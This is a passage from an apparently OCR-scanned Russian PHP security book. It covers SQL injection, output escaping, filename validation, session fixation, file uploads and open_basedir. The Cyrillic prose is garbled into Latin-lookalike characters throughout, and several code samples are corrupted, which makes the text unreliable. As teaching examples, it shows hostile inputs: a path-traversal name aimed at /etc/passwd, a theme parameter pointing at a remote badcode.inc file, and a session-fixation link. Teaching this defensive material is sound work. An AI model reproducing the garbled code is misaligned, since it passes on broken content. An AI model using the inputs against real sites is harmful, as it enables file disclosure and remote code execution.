WHTEPIPETUPOBATHCS, Kak nqaHHble. Ho BaM Bce ele Hy>kHO OUIBTPOBATH JAaH-
HbI€e, TIOCKOJIbKY HEKOTOPbIE CUMBOJIbI BPOJIE 3HAKa % UMEIOT Cllel[HaJIbHOe 3Ha-
yeHue B SQL, HO OHM He HYXKIAIOTCS B 9KPAHUPOBAHHUH.

Jlyumas 3amura oT SQL-MHBEKIUH — 3TO UCIOJb30BAHHUE CBS3AHHBIX MapaMe-
tpoB (bound-napamerpos). Cieayoimuii npuMep AEMOHCTPUPYET NMPUMEP HC-
[0JIb30BaHMS TaKUX MapaMeTpoB ¢ pacuupenneM PDO u 6asoit gannbix Oracle:
$sql = $db->prepare(”SELECT count(*) FROM users
WHERE username = :username AND password = :hash”);

$sql->bindParam(”:username”, $clean['username’], PDO::PARAM_STRING, 32);
$sql->bindParam(”:hash”, hash($_POST['password']), PDO::PARAM_STRING, 32);

[TockonbKy CBsI3aHHbIE TTapaMeTPbl TAPAHTHPYIOT, YTO AaHHbIe OYAYT UMEHHO
TeM, YeM M 0XXKMJaeTCsl, MO>KHO He 9KPaHUPOBaTh, HU HMsI [10JIb30BaTe IS, HU Na-
pOJIb.
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12.3. AkpaHupoBaHue BbIBOAA

12.3.1. OkpaHMpoBaHMe KaK MHCTPYMEHT COOTBETCTBUS
KOHTEKCTY

OKpaHUPOBaHHE - 3TO TEXHUKA, MPeIOTBPAlIAIoN(asi UCMOJb30BaHUE JAHHbIX
B ipyroM Kontekcte. Hanpumep, B HTML HekoTopble CHMBOJIBI UMEIOT OCOOBIN
CMBICJI M IOJKHBI ObITH peacTaBiensl B Buge HTML-cymmocreit, 4To6s1 coxpa-
HUTHb UX 3HAYEHHUE, TO eCTb UX 3HAYEHHE JOJDKHO COOTBETCTBOBATH KOHTEKCTY.
3t0 ocobenHo BaxHo Ha ¢oHe Toro, yto PHP yacTo Mcnosib3yercss Kak MOCT
MeXX/y Pa3HbIMH UCTOUYHHUKAMH JAHHBIX, I03TOMY KOT/Ia BBl OTIPABJIsIeTe JaH-
Hble yaJIeHHOMY T10JIy4aTelIio, Bauia 06s3aHHOCTD - MOJATOTOBUTH UX JOJIKHBIM
06pa3oM Tak, YTOObI OHU OBLIH HHTEPIIPETHPOBAHbI TaK, KaK HY>KHO, U HCIIOJIb-
30BaHbl 110 Ha3HayeHuto. Hanpumep, cTpoka Q'Apraxbax TOJDKHA ObITH TIPEICTaB-
JieHa Kak [1\'Aprauesan KOT/Ia HCTIONIb3yeTcst B SQL-3ampoce, oTripaBieHHOM B 6a3y
nanubix MySQL. OGpatHblit cieun mepel OAWHAPHOM KaBBIYKOH 3acTaBJisieT
OJMHAPHYIO KaBBIYKY HaXOAUThCS B KOHTekcTe SQL-3ampoca: 31ech oquHapHast
KaBBIYKA - 3TO YACTh JJAHHBIX, a HE YACTH 3aPOCA, U SKPAaHUPOBAHUE TaPAHTUDY-
€T 3Ty UHTEPIIPETAIHUIO.

Be6-npunoxenus, nanucanusie Ha PHP, B xone cBoeil paboTbl 06bIYHO OT-
MPaBJISIIOT JaHHbIE IBYM OCHOBHBIM IMIYHKTaM Ha3HaueHus: Bo-niepBbix, HTTP-
kiaueHTaMm (Be6G-6paysepam), unrepnperupyomux HTML, JavaScript u apy-
rie KJIHEeHTCKHe TEXHOJOTHHU, a BO-BTOPbIX, 6a3aM JaHHbIX, KOTOPblE HHTEPIIpPe-
tipylor SQL-3anpocsl. last nepBoro ciayyas PHP npenocraBisier ¢ynkuuio
htmlentities(), KoTopasi mpeobpasyer Bce BOSMOXHbIE CHMBOJIBI B COOTBETCTBY-
romue HTML-cymHocTH:
$himl = array();

$htmi['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
echo “<p>[o6po noxanosats, {$html['username']}.</p>";

JlaHHbIif TPUMED EMOHCTPUPYET €ellle OHO COTJIallleHHE HCIOIb30BaHUS UMEH.
Maccus $html o cyTH 31O TOT Ke MaccuB $clean, 3a UCKJIIOUEHUEM TOTO, YTO
Tenepb JaHHbIE TPEACTaBIEHbI B BU/E, OE30MIACHOM [IJIsl MCIIOJIb30BAHHUS B KOH-
texcte HTML.

URL unorza scrpauBatorcss B HTML kak cebLiku:
<a href="htip://host/ script.php2var={ $value}">LLlenkHure 3pecs</a>

B nanHOM KOHKpeTHOM MpHuMepe $value CYIIECTBYET BHYTPU BJIOKEHHOTO KOH-
TeKCTa: KOTla OAUH KOHTEKCT BJIOXKEH B APYroil KOHTEKCT. VI neicTBUTENBHO,
C OfIHOU CTOPOHBI $value HAXOAUTCS BHYTPU KOHTekcTa ctpoku URL, a ¢ apy-
roit croponsl — BHyTpu HTML-koHTekcTa kak ccblika. [Tockosnbky B aTOM City-
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vae oHa ajipaBUTHAs, TO ECTh HE COMEPXKUT KAaKUX-TUOO CIEHaTbHBIX CHMBO-
JIOB, TO ee 6e30MacHO UCIOJIb30BaTh B 000MX KOHTEKCTaX 63 9KpaHWPOBaHMSI.
OnHako, KOrjia Bbl HE MOXETe rapaHTUPOBaTh KOPPEKTHOE COOTBETCTBHE KOH-
TEKCTY (3HaueHHe $var HE MOXKET ObITh 6E30TIACHBIM B KAKOM-TTMO0 KOHTEKCTE),
3HaYeHHeE JOJKHO SKPAHUPOBATHCS KAX/IbIi pa3 Ik KAKA0TO KOHTEKCTA: B Ha-
11IeM TPUMEPE OHO JOJKHO OBITh 9KPAaHUPOBAHO JABAXIbI:

$url = array(

'value' => urlencode($value),

)
$link = "http://host/ script.php2var={ $url['value']}"

$html = array(
link' => htmlentities($link, ENT_QUOTES, 'UTF-8'),

)

echo “<a href=\" { $htmI['link']} \">LLienknure 3gecs</a>";
TakuM 06pa3oM Bbl TaDaHTUPYETE, YTO CChLIKA MOXET OE30IaCHO UCIIOJIb30BATh-
cssu B HTML-konTekcre HTML u B URL-koHTEKCTE KOT/Ia O/IH30BaTEb LIEJ-
kaet 1o Heii (mepBoe URL-koxupoBanue (1o cyTH 3KpaHUPOBAHUE ) TAPAHTUPY-
€T, YTO 3HaYeHHe $var OYIET COXPAHEHO).

st 6onbiMHCTBa 6a3 JaHHBIX CymiecTByeT “poaHast” QYHKIUS 9KPaHHUPOBa-
Husl, cnienuduyHas 1ist 3Toi 6a3bl manHbix. Hanpumep, pacuimpenne MySQL
MpenocTaBiisieT QYHKIMIO mysqli_real_escape_stringl():

$mysql = array(
'username' => mysqli_real_escape_string($clean['username']),
);

$sql = “SELECT * FROM profile
WHERE username = '{ $mysq|['username']}";

$result = mysql_query($sql);

Bosiee 6e30macHas arsTepHATHBA - KCIIOJIB30BaTh abCTPaKkTHYIO0 61bInoTEKY 6a3
JaHHBIX, KOTOpasi YIpaBjsieT KpaHUpOBaHMeM st Bac. Crenyomuii npumep
WJLTIOCTPUPYET JaHHYIO KOHLENHIO ¢ PEAR::DB:

$sql = “INSERT INTO users (last_name) VALUES (2)";
$db->query($sq|, array($clean'last_name']));

XOTs 3TO He MOJIHBIN NPUMED, OH JEMOHCTPUPYET UCIOJIb30BaHUE 3AIOJIHUTE-
15 (BompocuTeabHOro 3Haka) B SQL-3ampoce. 3mech PEAR:DB 10JKHBIM 06pa-
30M 3KpPaHHMPYET JaHHbIE B COOTBETCTBUH C TPeOOBAHUSIMH Balliell 6a3bl JaHHbIX.

Bosee monHoe axkpaHupoBaHue BbIBOJA BKJIIOYaso Obl akpaHupoBanue HTML-
anementoB, HTML-arpubyTtos, JavaScript-koaa, CSS u URL. IIpumep 12.1 co-
IEPXUT IEeMOHCTPALMOHHBIM KJIacC, TpeJHa3HAYeHHbIH AJIs1 3KpaHMPOBAHUS
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BBIBOZIa B Pa3/IMYHBIX KOHTEKCTAaX Ha OCHOBaHWM MPABUJI 9KPAaHUPOBAHUS KOH-
TeHTa, MOAroToBJeHHbIX mpoekToM Open Web Application Security Project.

Mpumep 12.1. 3kpaHnpoBaHUS BbLIBOAA ANS PA3HBIX KOHTEKCTOB  :

class Encoder
{
const ENCODE_STYLE_HTML=0;
const ENCODE_STYLE_JAVASCRIPT = 1;
const ENCODE_STYLE_CSS = 2;
const ENCODE_STYLE_URL = 3;
const ENCODE_STYLE_URL_SPECIAL = 4;

private static $URL_UNRESERVED_CHARS =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopgrstuvwxyz-_.™";

public function encodeForHTML($value)

: {

E $value = str_replace('&', '&amp;', $value);

: $value = str_replace('<’, '&lt;', $value);

; $value =str_replace(">', '&gt;', $value);

: $value = str_replace("”", '&quot;’, $value);

: $value = str_replace('\", '&#x27;', $value); // &apos; He pekomenayetcs
: $value = str_replace('/", '&#x2F;', $value);// npamoit cnew moxeT nomous
H // 3asepwmts HTML-cywHocts

g return $value;

: }

public function encodeForHTMLAftibute($value)

: {

. return $this->_encodeString($value);

}

: public function encodeForJavascript( $value)

: {

: return $this->_encodeString($value, self:ENCODE_STYLE_JAVASCRIPT);

: }

E public function encodeForURL($value)

: {

. return $this->_encodeString($value, self:ENCODE_STYLE_URL_SPECIAL);
: }

: public function encodeForCSS($value)

: {

E return $this->_encodeString($value, self.:ENCODE_STYLE_CSS);

: }
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/* *

* Koaupyer nio6bie cneumansHbie cumsonsl 8 nytn URL. He namenset npsmoit cnew,

* ucnonb3ayemsiit anst 06o3naueHms katanoros. Ecnu sawm umena katanoros copepxar
* cneww (peako), ucnonsayiite urlencode Ha kaXAOM KOMNOHEHTE KATANOra U 3aTeM

* COEAMHUTE MX BMECTE C NOMOUIBIO NPSMOTO cnewa.

T L s T Ty Ty

*

* OcwHosaHo Ha http://en.wikipedia.org/wiki/Percent-encoding u
* hitp:/ /tools.ietf.org/html/rfc3986

Y/

public function encodeURLPath($value)

{

}

$length = mb_strlen($value);

if ($length == 0) {
return $value;

}

$output =";

for ($i = 0; $i < $length; $i++) {
$char = mb_substr($value, $i, 1);
if ($char=="/") (
// cneww paspeLieHs! B nyTax
$output .= $char;

}
else if (mb_strpos(self:: $URL_UNRESERVED_CHARS, $char) == false) {
// He HaxoauTcs B He3ape3epBMPOBAHHOM CNUCKE, NO3TOMY
// 6ynet sakoamposaHo .
$output .= $this->_encodeCharacter($char, self::ENCODE_STYLE_URL);
)
else {
// CMMBON HOXOAUTCS B HE3OPE32PBMPOBAHHOM CMIMCKE, NO3TOMY NPOMYCKAEM ero
$output .= $char;

}

return $output;

private function _encodeString($value, $style = self::ENCODE_STYLE_HTML)

{

if (mb_strlen($value) == 0) {
return $value;

}

$characters = preg_split('/(2<1")(21$)/u', $value);
$output=";
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: foreach ($characters as $c) {
. $output .= $this->_encodeCharacter($c, $style);
: }

return $output;

}

private function _encodeCharacter($c, $style = self::ENCODE_STYLE_HTML)
. {
if (ctype_alnum($c)) {

return $¢;

)

if (($style === self..ENCODE_STYLE_URL_SPECIAL) && ($c=="/"|| $c=="") {
return $c;

}

rEsEEanE

smw

e

$charCode = $this->_unicodeOrdinal($c);

$prefixes = array(
self::ENCODE_STYLE_HTML => array('&#x’, '&#x'),
self::ENCODE_STYLE_JAVASCRIPT => array("\\x', \\v'),
self::ENCODE_STYLE_CSS => array('\\, \\},

" self::ENCODE_STYLE_URL => array('%', '%'),

self.:ENCODE_STYLE_URL_SPECIAL => array('%', '%'),

);

$suffixes = array(
self-ENCODE_STYLE_HTML => "},
self::-ENCODE_STYLE_JAVASCRIPT =>",
self-ENCODE_STYLE_CSS => ",
self::ENCODE_STYLE_URL =>",
self::-ENCODE_STYLE_URL_SPECIAL=>",
)i

RSN ENEUESEENSAEEEFEAREAREE

// ecnu ASCII, koaupyem ¢ \\xHH
if ($charCode < 256) {
$prefix = $prefixes[$style][O];

EENEESEAEEAENEE

$suffix = $suffixes[$style];

g return $prefix . str_pad(strtoupper(dechex($charCode)), 2, '0') . $suffix;
: }

// wraue xopnpyem ¢ \\uHHHH

: $prefix = $prefixes[$style][1];

: $suffix = $suffixes[$style];

E return $prefix . str_pad(sttoupper(dechex($charCode)), 4, '0') . $suffix;

P ]
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private function _unicodeOrdinal($u)
{
$c = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
$c1 =ord(substr($c, O, 1));
$c2 = ord(substr($c, 1, 1));
return $c2 * 256 + $c1;

T R T T F R T

12.3.2. UmeHa ¢aiinos
OcHoBHble Npo6nemMbl 6e3onacHOCTH, CBS3aHHbIE C UMeHamu ¢aiinos

[Ipu pabote ¢ umeHamu $HaitoB Hy>KHO OBITH OYEHb BHUMATENbHBIMU U AKKY-
paTHbiMU. OcoOeHHO 3TO KacaeTcsi CHTyaluii, Korqa Ball CLieHapHii co3faer,
MMEHYeT U CONocTaBJsieT Gaiibl pa3HbIM JaHHBIM, BBOJIMMBIM I10JIb30BaTEJIEM.
B xoxe He6OMbLIMX MaHUMYJIALUMHA ¢ MMeHaMK (aiIOB 3I0yMBIILIEHHUK MO-
XKeT 100UThCs JOCTYNa K 3aKPBITHIM (aitnaM u Boob1iie peann30BaTh HENpeaBy-
IeHHy10 BaMu GyHKIMOHaIbHOCTh. Hanpumep, ckaxkeM, y Bac ecTb epeMeHHast
$username, coziepiKalasi UMs MOJIb30BaTeJsl, KOTOPOe Balll CLIEeHapUi MOJy4YaeT
yepe3 noJie ¢GopMbl. Terepp NpeaCcTaBUM, YTO BBl XOTUTE JIsI KaXK/I0TO I0JIb30-
BaTeJisi XPaHUTh €r0 WHIUBU/IYaJbHOE IPUBETCTBEHHOE COODIEHHE B KaTaIore
/usr/local/lib/greetings c TeM, 4TOOBI Bb MOTJIM BBIBECTH NPUBETCTBUE KaXIblid
pas, Kor/a [oJIb30BaTelb 3aX0/IUT Ha Balll BeO-caiiT.

Kon, BbIBOASIIIIMIT MTPUBETCTBUE /IJISI TEKYILETO IT0J1b30BaTEN s, BBITJISUT TaK:

include(”/usr/local/lib/ greetings/ { $username}”);

Ha nepBsiii B3rsia Bce Bpojie-6bl HOPMAJIbHO, KO KaX€eTCsl OCTaTOYHO He3omac-
HbBIM, HO 4YTO, €CJM I[I0JIb30BaTeJb BBeleT UMs MoJb3oBaTens “././././
etc/passwd”? Torga Kom BMECTO TOro, 4yTOObl BBIBECTU INPUBETCTBHE, BbIBEAET
JaHHbIe 10 3ITOMY OTHOCUTEJIbHOMY IIyTH, TO €CTb BbiBeaeT dail naposei /etc/
passwd. OTHOCUTEIbHbIE IIyTH - YaCThIil IPUEM, UCIIOJIb3YEMBbIH XaKepaMH MPO-
THUB HUUETO He [T0I03PeBAIOILEro ClieHapusl.

Jlpyras JoByLIKa 17151 HEOCTOPOXHOIO IIPOrpaMMHUCTA 3aKJIIOYAETCsl B TOM, UTO 110
ymosruanuio PHP MosxeT oTKpbITh ynaneHHble paitibl PyHKIUSMY, KOTOPbIE TAKXKe
UCIIOJIB3YIOTCS JI/I1 OTKPBITUS JIOKAIbHBbIX (aitnoB. Hampumep, pyHkuuu fopen()
U el nogobHbIM (HampuMmep, include() ¥ require()) Moxno mnepematb URL,
HTTP wiu FTP B kauecTBe MeHH aitia v 310T (ait1 GyneT OTKPHIT, HATIPUMED:

chdir(”/usr/local/lib/greetings”);
$fp = fopen($username, 'r');

Ecau $username ycTaHOBJIEHO B http.//www.example.com/myfile, To 6ynet oT-
KPBIT yAaJieHHbIN daiii, a He JTOKaJIbHbIH.
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Curyauus elre xyxe, eCJid Bbl He OTKPbIBa€eTe, a MOAKII04aeTe aii:

$file = $_REQUEST['theme'];
include($file);

Ecau nosb3oBaresb mepesact B Ka4eCcTBe mapaMeTpa theme CTPOKY hitp.//www.
example.com/badcode.inc. B pesynsrate Bam PHP-cueHapwii ycrnemHo 3arpysur
Y 3aMyCTUT yaaneHHbld ko, Hukoraa mogo6HbM 06pa3oM He UCIOJIb3YITE Ma-
paMeTpsl, peTHa3HaYEHHbIE JIJIsSI 3arpy3KHu (aiJioB.

Boob1e cyniecTByeT HECKOJIbKO pellieH i IPo6ieMbl IPOBEPKH (aiiIOBbIX MMEH.
Tak, BbI MOXeTe OTKJIIOYUTDb JOCTYI K yAaJeHHbIM (aiisiaM, MPOBEPUTh MMEHA
(aitnoB ¢ mnoMoubio realpath() ¥ basename(), KMCIIOJB30BaTh OIMIMIO open_
basedir() mys1 mpenoTBpalleHdss AocTynma K ¢aidJoBOi CUCTEMe 3a TpenesaMu
KOPHEBOTO KaTajiora 10KyMeHTa. /lanee Mbl 1ogpo6Hee Ha 3TOM OCTAHOBUMCSI.

MpoBepka OTHOCKTENLHBIX NyTeH

Korza BaM HyXHO B CBOeM Be6-TIPUJIOKEHUH Pa3PELIUTh M0JIb30BATEIIO YKa3bl-
BaTb uMs ailya, Bbl MOXETe UCMOJb30BaTh KOMOMHALMIO (DYHKUMH realpath()
1 basename(), 4TOOBI yOenUTbCS, UTO (Haiiyl ABJISIETCS UMEHHO TEM, YeM OH J0JI-
KeH ObiTh. DYHKUMSA realpath() U36aBiIsIETCS OT ClELMATbHBIX MapKEPOB BPO-
ne “” u “.”, IpoXo/s 10 JepeBy KaTalOroB U NMOJCTaBJSAS BMECTO yKa3aHHBIX
MapKepoB peasibHble HMEHa, TO eCTb PeoOpa3yeT OTHOCHUTEJIbHBIN agpec B ab-
comoTHbl. Takum 00pa3oM, TocJje Bbi30Ba realpath() Bbl MOJYYHUTE MOJHBINA
MYTb, KOTOPBIA MOXHO IMOTOM Mepenatb GYHKUMH basename(), KOTOpast BEpHET

TOJIbKO MMl (haiisa, 6e3 MOJHOrO MyTH K HEMY.

Bepuemcst Ha3an k HalleMy ClieHApUIO PUBETCTBUS U PACCMOTPUM MPUMED HC-
MoJIb30BaHUS QYHKIIMH realpath() ¥ basename() B neiicTBUU:

$filename = §_POST['username'];
$vetted = basename(realpath($filename));

if ($filename I== $vetted) {
die("{ $filename} ne ouens xopowee ums nonsaosarens”);

}

B atoMm ciyyae Mbl «pa3peiiaeMs $filename B €ro MOJHBIN MyTb U 3aTEM H3BJIE-
KaeM U3 Hero ToJIbko uMs daitna. Eciu aTo uMs He coBmaaeT ¢ MICXOIHBIM 3Ha-
yeHUeM $filename, MBI IOHUMaeM, YTO MOJIb30BATEJ b BBEJ IJIOX0e UMs Gaiina,
KOTOPOE HaM He HY>KHO MCIT0JIb30BaTh.

Korza Bbl mostyuute noJiHOCTHIO 6e30macHoe uMs aiisia, Bl MOKETE PEKOHCTPY-
MPOBaTh MYyTb, 110 KOTOPOMY Ha CAMOM Jiejie HaxoasTcs ¢aila U 106aBUTh €ro
K MMOJIy4YeHHOMY UMeHHM (paiiia, Hanpumep:

include(”/usr/lacal/lib/greetings/ { $filename}”);



______________
12.4. Qukcauus ceccumn

OdeHb TONyJISIPHOM aTaKOH, HANIPABJIEHHOM Ha cecCHH (CeaHChl), siBsieTcst PuK-
cauus ceccu. OCHOBHasl NIPUYMHA €€ NOIYJISIPHOCTH 3aKJII0YaeTCsi B TOM, UTO
3TO CaMbli TPOCTOM METOJ, KOTOPbIM aTaKyIOIHUI MOXET MOJYyYUTh JONYCTH-
Mblii uaeHTHdUKaTOp ceccuu. IlomyunB ke naeHTUHHKATOP CeCCUU 3T0YMBILI-
JIEHHUK I10JIy4yaeT BO3MOXHOCTb I1€PEeXBaTbIBaTh CECCHH, TIPEICTABISISICh JIETH-
THMHBIM I10J1b30BaTeJIeM IyTeM NIPeJOCTaBJeHHs ero UIeHTH()HKATOPa CEeCCHMU.

(Dukcalysi CecCUu - 3TO METOJI HaNajieH!sl, KOTOPbIil IIPUHYAUTEIbHO YCTaHAB-
JIMBA€T XepTBe UieHTU(hHUKATOP ceccuH, BBIOpaHHbIit aTakyouM. Camasi mpo-
CTasl peaqn3alns JaHHOW aTaKh COCTOUT B TOM, YTO TMOACYHYTh IOJIb30BATETIO
CCBLIKY CO BCTPOEHHBIM HIEHTH(HHUKATOPOM CECCHH:

<a href="http://host/login.php2PHPSESSID=1234">Boiitn</a>

JKeprBa, menkHyBIIasK [10 3TOU CCBIIKE, MOTYYUT HAEHTUGHUKATOP ceccuu 1234.
Ecnu xepTBa TPOAOJIKUT BXOJ, aTAKYIOLIHI CMOKET IIePeXBaTUTh CECCHUIO KePT-
BBI Y [TOJIyYUTb €€ YPOBEHb IPUBHUJIETUH.

B 1es1oM xe cyuiecTByeT M0BOJIbHO 6OJIbIIOE KOJTMYECTBO BADHAHTOB 3TOM aTa-
KM, B TOM YncJe dyepe3 ucnonbsoBanue Cookies. K cuactbio, 3amura ot ¢pukca-
L[MUU CECCHH TOBOJIbHO npocTa. Kaxcplii pa3 mpy U3MEHEHUH YPOBHS TOJTHOMO-
YHI [0J1b30BaTEIsl, HAIPUMEP, ITPH BXOJI€ MI0JIb30BATENsI B CUCTEMY, PeTeHepH-
pyiiTe UIEHTU(DHUKATOP CeaHca € ITOMOLUIBIO session_regenerate_id():
if (check_auth($_POST['username'], $_POST['password'])) {
$_SESSION['auth’] = TRUE;
session_regenerate_id();

]

BeienpuBenenHbid ko 3dbdekTHBHO TpenoTBpalaeT pukcaiuio ceccuu. Kax-
JIOMY BOLIEJIIIEMY MTOJIb30BaTE0 OyI€T IPUCBOEH CBEXHIA, CTyYaHHbIM HAEHTH-
¢ukaTop ceccum.

12.5. be3onacHas 3arpy3ka ¢aitnos

3arpyska ¢aiisIoB aKTyanTu3upyeT 110 CYyTH [IBE OIIACHOCTH, 00CY K /IeHHbIE PaHee:
OIaCHOCTb MOAHGUKAIIMH [0Ib30BaTeeM JaHHBIX U OMACHOCTb HECAHKI[MOHH-
POBaHHBIN nefcTBHi ¢ daitnoBoii cucremoi. HecMoTpst Ha To, uTo si3pik PHP 5
caMm 1o cebe peanusyeT HeKOTOpble (hyHKIMK 6E30MACHOCTH B TOM, KaK OH obpa-
GaTbIBaeT 3arpyKeHHble haiIbl, CTh HECKOJIBKO IIOTEHIIMATbHBIX JIOBYILIEK, 3a-

IIUTHTBCST OT KOTOPBIX MOKHO TOJIBKO Ha IIPOTPAMMHOM YPOBHE U B KOTOPOBIE
YacTo MOMAJA0T HAYNHAIOLIME HEOCTOPOXHbIE Pa3pabOTYUKH.
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He posepsiite npepoctaBneHHbIM Opayzepom umeHam ¢daiinos

O6 3TOM MBI YK€ TOBOPHJIM HEMHOTO paHee. BynibTe 04eHb OCTOPOXKHBI IPU UC-
N0JIb30BaHUM UMEH (hailJIoB, MOJIyYEeHHbIX BalllMM clieHapueM oT Opay3epa. Eciu
BO3MOJXKHO, BOOOIIIE He UCTIOJIb3YHTE TAKOE UMS B KaueCcTBe UMeHH (ailia B Ba-
et daitnoBoii cucteme. OueHb MPOCTO 3aCTABUTh Hpay3ep OTIPaBUTH (ait, Ko-
TOpBIi OyaeT uaeHTHhUIMPOBaH Kak /etc/passwd unv /home/rasmus/ forward.
Kak BapuaHT, BBl MOXXETE HCIIOJIb30BaTh UMs (ailia, npexocTaBaeHHoe Gpayae-
POM, [/ B3AUMOJIEICTBHSI C TT0JIb30BATEEM, HO JJIsl OOPAlEeHHUS K 3arpyKeHHO-
My Qaiily creHepupyiiTe BDyUYHYIO YHHKa/IbHOE UMs. Hanpumep:

$browserName = $_FILES['image’]['name’];
$tempName = $_FILES['image’]['tmp_name’];

echo "Cnacubo 3a otnpasky mHe { $browserName}.”;

$counter++;  // noctosHHas nepemenHas
$filename = “image_{ $counter}”;

if (is_uploaded_file($tempName)) {
move_uploaded_file($tempName, ”/web/images/ { $filename}”);
}

else {
die("Mpo6nema npn obpabotke daiina.”);

}
OcreperaitTech 3anonHeHus Ballei ¢anoBoi CUCTEMBI

Eue onna soBylika — pa3Mep 3arpy>xeHHbIX ¢aitioB. HecMoTpst Ha TO, UTO BB
MOXeTe yKa3aTb Opay3epy MakCHMaJIbHbIA pa3Mep (hailsa, KOTOPbI MOXET 3a-
rPY3UTh MOJIb30BATEb, ITO JIMIIb PEKOMEHIAIUS U HET HUKAKOH rapaHTHH, YTO
BallleMy CIIEHApPUIO He OTNpaBAT (aila GoJbliuero pa3mepa. ATakyole MOTYT
BBINIOJIHUTb aTaky “OTKa3 B 0OC/Jy)XHBaHHUH”, OTNPaBUB ailsibl, 1OCTATOYHO
6oJibliKe, 4TOOBI 3aOMHUTH (aiiIOBYI0 CHCTEMY Balllero cepBepa.

Yrober n3bexaTh MOJOOHBIX HEMPUSATHOCTEH, UCMO/b3YiTe MapamMeTp KOHMH-
Typaluu post_max_size B (aiisie php.ini, ycTaHaBIMBAIOUMI MaKCHMAaJIbHBIH
pa3Mep JaHHBIX, KOTOPbIE MOXKHO OTIIPaBUTh METOAOM POST:

post_max_size = 1024768 ; oonMH MerabamnTt

[Tocne atoro PHP 6ymer urHopupoBaTh 3alpOChl ¢ 0OhEMOM JaHHBIX, PEBbI-
HIAIOUIMM YKa3aHHbII pa3Mep. 3HaueHue o ymondanuio — 10 M6 — ato ropasmo
Goiblile, YeM HYKHO OOJIbUIMHCTBY CalTOB.

OcropoxHo! register_globals

Cpasy xe oTMeTHM, YTO JaHHast NpobsiemMa B IPUHIMUIIE SIBJISIETCS yCTapeBLIEit
u HauuHas ¢ Bepcun PHP 5.4.0 nonHocteio ynanena. OqHako, ecyau y Bac Mc-
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nosb3yercst 6onee crapas Bepcusi PHP (no 5.4.0. )pekomeHayeM mpouHTaThb
JIaHHBINA HEOOJIBIION pa3aet.

[Topsimox  06paboTKHM [EepPEMEHHbIX 3a/1aeTCsl MapaMeTpoM KOHGbUrypauuu
variables_order, MO yMOJ4aHMIO mapaMeTpbl GET u POST 006pabaThiBalOTCS
nepen Cookies. Ito no3sossier nosb3osarenio ornpaButb Cookie, kotopas me-
pesamnuiiet rja06aabHy0 NepeMeHHYI0, ColepXalllyio HHGopMaIHio o 3arpyXeH-
HoM caitsie. YT06bI H36EXKATH ITOTO, HY)KHO MIPOBEPHTB, YTO JaHHBIN (aitn ObL1
3arpy>KeHHbIM, J1JIs1 3TOTO UCTOJb3yeTcsl GYHKUUS is_uploaded_file().

Hanpumep:

$uploadFilepath = $_FILES['uploaded']['tmp_name'];

if (is_uploaded_file($ uploadFilepath)) {
$fp = fopen($uploadFilepath, ');

#87p) {
$text = fread($fp, filesize($uploadFilepath));
fclose($fp);

// caenats 4To-TO C CopepxuUMbIM daiina

}

PHP mnpenocraBssier ¢GyHKUMIO move_uploaded_file(), KoTOpasi mnepemelnaer
daiin TosbKo, eciu oH ObLn 3arpyxeH. JIyuiie ucnoab3oBaTh 3Ty HYHKIHIO, YeM
dbyHxuuio cucreMHoro ypoBHa uau ¢yHkuuio PHP copy(). Hanpumep, caeny-
IOILHiT KOJ He MOXET ObITh CKOMIIPOMETHPOBaH ¢ Ucnosb3oBaneM Cookies:

move_uploaded_file($_REQUEST[file'], “/new/name.txt");

12.6. BocTyn K daitnam

Ecnu Tosibko BBl MJIM JIIOIM, KOTOPBIM BBl JOBEpPSiETE, UMEETE JJOCTYI B CUCTe-
My Balllero Be6-cepBepa, Bbl B 11€JIOM MOX€Te He BOJHOBAThCSI O pa3rpaHU4YeHUH
NpaB JOCTyNa K aiinaM, KOTopble ucnob3yiotces B Baminx PHP-cuenapusx win
cosnatorcss uMH. OpHako, 6OJbUIMHCTBO Be6-CaliTOB pa3MellleHO Ha MalllMHaX
XocTUHT-TIpoBaiinepoB (ISP) u ecTp puck, 4To Apyrue Ja10aAU MOTYT NPOYUTATD
¢aitnel, koTopble co3naeT Bauia PHP-nporpamMa. B To ke Bpems, B PHP cyuie-
CTBYET MHOX€ECTBO CIIOCOOOB, KOTOPbIE Bbl MOXKETE UCIIOJIb30BATD [IJisl PEIlIEHUsT
npobsieM ¢ npaBaMu ¢aiiioB. O6 3TOM Mbl 1 TIOTOBOPUM.

OrpaxuyuBaem A0CTYN K $paiioBoOi CUCTEME

Bbl MoXeTe yCTaHOBUTH OMUHMIO open_basedir, YTOOBI MO3BOJIHUTb JOCTYI Ba-
mnx PHP-cuenapueB tonbko k onpeneneHHoMy kartanory. Ecin open_basedir
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yCTaHOBJIeHa B BauieM php.ini, PHP orpannyuBaer ¢pyHkuuu ¢aitsoBoi cucre-
MbI ¥ BBOJa/BbIBO/Ia TAK, YTO OHM MOTYT PabOTaTh TOJBKO B yKA3aHHOM 3TOM -
PeKTHBOM KaTaJore u ero noakaragorax. Hanpumep:

open_basedir = /some/path

Kak Tos1bK0 3Ta KOH(UTypalus BCTYIIUT B CUITY, CJI€AYIOLIHME BbI30BbI OyayT pa-
60Tath:

unlink(”/some/path/unwanted.exe”);
include(”/some/path/less/travelled.inc”);

Ho cjieayrounme BbiI30Bbl 3daKOHYATCA OIHUOKOH BPEMEHH BbINIOJTHEHHUA:

uovy,

$fp = fopen(”/some/other/file.exe”, 'r');
$dp = opendir(”/some/path/../other /file.exe");

KoneuHo, Hal Be6-cepBep MOXET 3amyCKaTh MHOTO IIPUJIOXKEHHIA, KaXX10€ TaKoe
npuIoXeHue 0ObIYHO XpaHUT (aiibl B cBoeM cobcTBeHHOM KaTtasore. CooTBert-
CTBEHHO, Bbl MOXE€TE€ HAaCTPOMUTb open_basedir OTAEJIBHO AJIS KaXXIOTO BHUPTY-
aJIbHOTO y3J1a B BalueM httpd.conf:

<VirtualHost 1.2.3.4>
ServerName domainA.com
DocumentRoot /web/sites/domainA
php_admin_value open_basedir /web/sites/domainA
</VirtualHost>

AHaJIOrMYHO, Bbl MOXETE HACTPOUTH €e OTAEIbHO IS KaX/Or0 KaTajora MM
URL B Bawem ¢aiine httpd.conf:

# no karanory
<Directory /home/httpd/html/app1>

php_admin_value open_basedir /home/hitpd/htm|/app
</Directory>
# no URL
<location /app2>

php_admin_value open_basedir /home/httpd/html/app2
</Location>

JlupeKkTHBa open_basedir MOXeT OBbITb yCTaHOBJIEHA TOJIbKO B (pailne httpd.
conf, a He B ailse .htaccess, U Bbl TOJKHBI UCIIONB30BATh OMIUMIO php_admin_
value 17151 yCTAHOBKH open_basedir.

